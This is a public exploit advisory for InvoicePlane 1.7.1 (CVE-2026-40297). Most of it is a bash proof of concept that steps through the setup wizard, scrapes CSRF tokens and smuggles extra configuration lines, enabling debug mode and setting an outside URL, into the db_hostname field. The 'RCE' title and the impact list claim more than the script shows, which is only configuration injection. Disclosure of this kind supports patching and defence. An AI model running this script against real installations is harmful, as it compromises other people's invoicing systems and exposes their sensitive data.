# Exploit Title: InvoicePlane 1.7.1 - RCE
# Date: 2026-04-10
# Exploit Author: Mustafa Murat Akgül
# Vendor Homepage: https://invoiceplane.com/
# Software Link: https://github.com/InvoicePlane/InvoicePlane
# Version: 1.7.1 (Patched: 1.7.2)
# CVE: CVE-2026-40297
# Advisory: GHSA-ffq5-mw9f-mv6j
# Tested on: Linux/Ubuntu (PHP 8.x)
Technical Details:
A critical configuration injection vulnerability exists in the application’s setup module.
The db_hostname parameter is not properly sanitized during installation, allowing attackers
to inject arbitrary configuration values. This can lead to environment manipulation, debug
mode activation, and potential remote code execution depending on deployment context.
Proof of Concept (PoC):
The following bash script automates the installation setup flow, extracts the necessary
CSRF tokens sequentially, and injects configuration directives through the db_hostname field:
#!/bin/bash
# Step 1: Initialize session and fetch language page CSRF token
curl -s -c /tmp/exploit.txt "http://127.0.0.1/index.php/setup/language" > /dev/null
TOKEN1=$(curl -s -b /tmp/exploit.txt "http://127.0.0.1/index.php/setup/language" \
| grep -oP '(?<=name="_ip_csrf" value=")[^"]*')
# Step 2: Submit language step
curl -s -b /tmp/exploit.txt -c /tmp/exploit.txt -X POST \
"http://127.0.0.1/index.php/setup/language" \
--data "_ip_csrf=${TOKEN1}&ip_lang=english&btn_continue=Continue" > /dev/null
# Step 3: Fetch prerequisites CSRF token
TOKEN2=$(curl -s -b /tmp/exploit.txt "http://127.0.0.1/index.php/setup/prerequisites" \
| grep -oP '(?<=name="_ip_csrf" value=")[^"]*')
# Step 4: Submit prerequisites step
curl -s -b /tmp/exploit.txt -c /tmp/exploit.txt -X POST \
"http://127.0.0.1/index.php/setup/prerequisites" \
--data "_ip_csrf=${TOKEN2}&btn_continue=Continue" > /dev/null
# Step 5: Fetch database configuration CSRF token
TOKEN3=$(curl -s -b /tmp/exploit.txt "http://127.0.0.1/index.php/setup/configure_database" \
| grep -oP '(?<=name="_ip_csrf" value=")[^"]*')
# Step 6: Submit payload via db_hostname parameter injection
curl -s -b /tmp/exploit.txt -X POST \
"http://127.0.0.1/index.php/setup/configure_database" \
--data-urlencode "_ip_csrf=${TOKEN3}" \
--data-urlencode "db_hostname=localhost'
ENABLE_DEBUG=true
SUMEX_URL=http://192.168.1.1/
DB_HOSTNAME='localhost" \
--data-urlencode "db_username=ip_user" \
--data-urlencode "db_password=Sifre123!" \
--data-urlencode "db_database=invoiceplane" \
--data-urlencode "db_port=3306"
Impact:
- Arbitrary configuration injection
- Environment variable manipulation
- Debug mode activation
- Sensitive information exposure risk
- Potential remote code execution (depending on deployment configuration)
- Full application compromise in worst-case scenarios